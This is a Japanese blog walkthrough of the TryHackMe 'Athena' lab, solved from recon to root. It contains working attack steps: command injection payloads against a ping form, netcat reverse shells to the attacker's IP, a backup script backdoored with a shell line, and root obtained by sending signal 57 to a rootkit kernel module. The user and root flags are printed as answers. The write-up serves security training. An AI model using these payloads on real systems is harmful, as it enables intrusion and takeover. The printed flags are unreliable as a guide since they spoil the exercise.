0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Athena:Walkthrough

Posted at

概要

TryHackMe「Athena」のWalkthroughです。

Task1

Q1.What is the user flag?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- 10.10.144.85 -oN nmap_result
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3b:c8:f8:13:e0:cb:42:60:0d:f6:4c:dc:55:d8:3b:ed (RSA)
|   256 1f:42:e1:c3:a5:17:2a:38:69:3e:9b:73:6d:cd:56:33 (ECDSA)
|_  256 7a:67:59:8d:37:c5:67:29:e8:53:e8:1e:df:b0:c7:1e (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Athena - Gods of olympus
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2024-10-16T13:59:14
|_  start_date: N/A
|_clock-skew: -1s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: ROUTERPANEL, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.2p1
80 http Apache httpd 2.4.41
139 smb smbd 4.6.2
445 smb smbd 4.6.2

SMBの列挙をします。

$ enum4linux -a 10.10.144.85
 =================================( Share Enumeration on 10.10.144.85 )=================================
                                                                                                                            
smbXcli_negprot_smb1_done: No compatible protocol selected by server.                                                       

        Sharename       Type      Comment
        ---------       ----      -------
        public          Disk      
        IPC$            IPC       IPC Service (Samba 4.15.13-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 10.10.144.85 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.10.144.85                                                                                
                                                                                                                            
//10.10.144.85/public   Mapping: OK Listing: OK Writing: N/A

共有名publicが見つかったのでアクセスするとmsg_for_administrator.txtを発見しました。
ダウンロードします。

$ smbclient //10.10.144.85/public
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Apr 16 20:54:43 2023
  ..                                  D        0  Sun Apr 16 20:54:05 2023
  msg_for_administrator.txt           N      253  Sun Apr 16 14:59:44 2023
msg_for_administrator.txt
Dear Administrator,

I would like to inform you that a new Ping system is being developed and I left the corresponding application in a specific path, which can be accessed through the following address: /myrouterpanel

Yours sincerely,

Athena
Intern

/myrouterpanelパスを発見しました。
80ポートにアクセスします。

ping tool.jpg

入力したアドレスにpingを送れるようになっています。

ping.jpg

OSコマンドインジェクションが出来そうです。
ペイロードは下記リポジトリを使用しました。

ペイロード%0Acat%20%2fetc%2fpasswd/etc/passwdファイルが読み取れ、OSコマンドインジェクションが成功したと分かりました。

os i.jpg

ip=%0A/usr/bin/nc+-c+/usr/bin/bash+<ip>+<port>&submit=を送信してリバースシェルを張れました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.144.85] 56718
whoami
www-data

TTYの設定をします。

python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@routerpanel:/var/www/html/myrouterpanel$

athenaアカウントへの権限昇格を目指します。

$ ls -la /home
total 16
drwxr-xr-x  4 root   root   4096 Apr 16  2023 .
drwxr-xr-x 20 root   root   4096 Apr 16  2023 ..
drwx------ 17 athena athena 4096 Jul 31  2023 athena
drwx------ 15 ubuntu ubuntu 4096 May 23  2023 ubuntu

プロセスを確認すると/usr/share/backup/backup.shathenaアカウントで実行されています。

$ ./pspy32
2024/10/17 08:14:00 CMD: UID=1001  PID=1229   | /bin/bash /usr/share/backup/backup.sh
/usr/share/backup/backup.sh
#!/bin/bash

backup_dir_zip=~/backup

mkdir -p "$backup_dir_zip"

cp -r /home/athena/notes/* "$backup_dir_zip"

zip -r "$backup_dir_zip/notes_backup.zip" "$backup_dir_zip"

rm /home/athena/backup/*.txt
rm /home/athena/backup/*.sh

echo "Backup completed..."

www-dataで書き込み権限があります。

$ ls -la /usr/share/backup/backup.sh
-rwxr-xr-x 1 www-data athena 258 May 28  2023 /usr/share/backup/backup.sh

リバースシェルのペイロードを追記します。

$ echo "/usr/bin/nc -c /usr/bin/bash 10.6.55.144 12345" >> /usr/share/backup/backup.sh
/usr/share/backup/backup.sh
$ cat backup.sh
cat backup.sh
#!/bin/bash

backup_dir_zip=~/backup

mkdir -p "$backup_dir_zip"

cp -r /home/athena/notes/* "$backup_dir_zip"

zip -r "$backup_dir_zip/notes_backup.zip" "$backup_dir_zip"

rm /home/athena/backup/*.txt
rm /home/athena/backup/*.sh

echo "Backup completed..."
/usr/bin/nc -c /usr/bin/bash 10.6.55.144 12345

athenaアカウントのシェルを取得できました。

$ nc -lvnp 12345
listening on [any] 12345 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.144.85] 59270
whoami
athena

TTYの設定をします。

python3 -c 'import pty; pty.spawn("/bin/bash")'
athena@routerpanel:/$

/home/athena/.sshに秘密鍵と公開鍵を発見しました。

athena@routerpanel:~$ ls -la .ssh/
ls -la .ssh/
total 16
drwx------  2 athena athena 4096 Apr 17  2023 .
drwx------ 17 athena athena 4096 Jul 31  2023 ..
-rw-rw-r--  1 athena athena    0 Apr 17  2023 authorized_keys
-rw-------  1 athena athena 2602 Apr 17  2023 id_rsa
-rw-r--r--  1 athena athena  572 Apr 17  2023 id_rsa.pub

.ssh/authorized_keysに公開鍵を追記します。

athena@routerpanel:~$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC58zqlfq1I8RHFyz1TAb+URJZioUvcBtuyKLWAP++luiRL1UT4+CElSEHCr5GyNOyIVGtTAu4os4TvK7PCCkrFmMygYoHvr+8X2khx+2HU6khgiTznM6uGakDuHhVCBf83aiRdcgk9Lh7TOsWi4drbqngFMzA/ecM7EvkkneygPnURBqb46T4jVubEBjahHbwBSPm1shC6/nAcJ9dmOsRIbf/VJy6aXkV/K87RzePz8Fqb485UjTM0G2jhq4KbcWM6xLQoEB6P2FrRnNh8ItDbmcK+G35n16Hr/KyT8BD0H4vbVQRzwTGYr6kJxUtSwO/VBE0QifEzkOaRkSLvRdBErRFqJ6yHeaDiG2SVsT0Q3rmpqc3Og8dHAEhEYokbeI/Ftl5yGvPVgZ4Bzpsve+4mvgk9wksBMMUiim0KqZe70N2oQwu1cBNGd7y+g9YI5N8JfcCW28Jks2rJ0i/3HjlYKVJGpuISwDSJwaYiGjF9551B+C1LvWdRUeaUpxm0h60= athena@routerpanel" >> .ssh/authorized_keys
<xm0h60= athena@routerpanel" >> .ssh/authorized_keys

秘密鍵でathenaアカウントにSSH接続できました。

$ ssh -i id_rsa athena@10.10.144.85
athena@routerpanel:~$

/home/athena/user.txtからユーザーフラグを入手できました。

/home/athena/user.txt
857c4a4fbac638afb6c7ee45eb3e1a28

A.857c4a4fbac638afb6c7ee45eb3e1a28

Q2.What is the root flag?

sudo -lで確認します。

$ sudo -l
Matching Defaults entries for athena on routerpanel:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User athena may run the following commands on routerpanel:
    (root) NOPASSWD: /usr/sbin/insmod /mnt/.../secret/venom.ko

insmodコマンドでvenom.koモジュールファイルをロードしています。
venom.koファイルの情報を確認します。

$ modinfo /mnt/.../secret/venom.ko 
filename:       /mnt/.../secret/venom.ko
description:    LKM rootkit
author:         m0nad
license:        Dual BSD/GPL
srcversion:     93A81462832D4CF52F916D7
depends:        
retpoline:      Y
name:           venom
vermagic:       5.15.0-69-generic SMP mod_unload modversions

m0nad,LKM rootkitという情報を得られたので検索すると下記リポジトリを発見しました。

任意のPIDにシグナル64を送信するとroot権限を取得できるようです。
ですが、実際にはroot権限を取得できませんでした。

$ sudo /usr/sbin/insmod /mnt/.../secret/venom.ko
$ sleep 10 &
[1] 1755
$ kill -64 1755
$ id
uid=1001(athena) gid=1001(athena) groups=1001(athena)
[1]+  Real-time signal 30     sleep 10

/mnt/.../secret/venom.koをGhidraで解析します。

send sig.jpg

hacked_kill関数を見るとシグナル0x39(10進数で57)が送信されるとgive_root()が実行され、権限昇格できるように書き換えられています。

コマンドを実行するとroot権限に昇格できました。

$ kill -57 1846
$ id
uid=0(root) gid=0(root) groups=0(root),1001(athena)

/root/root.txtからルートフラグを入手できます。

/root/root.txt
aecd4a3497cd2ec4bc71a2315030bd48

A.aecd4a3497cd2ec4bc71a2315030bd48

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?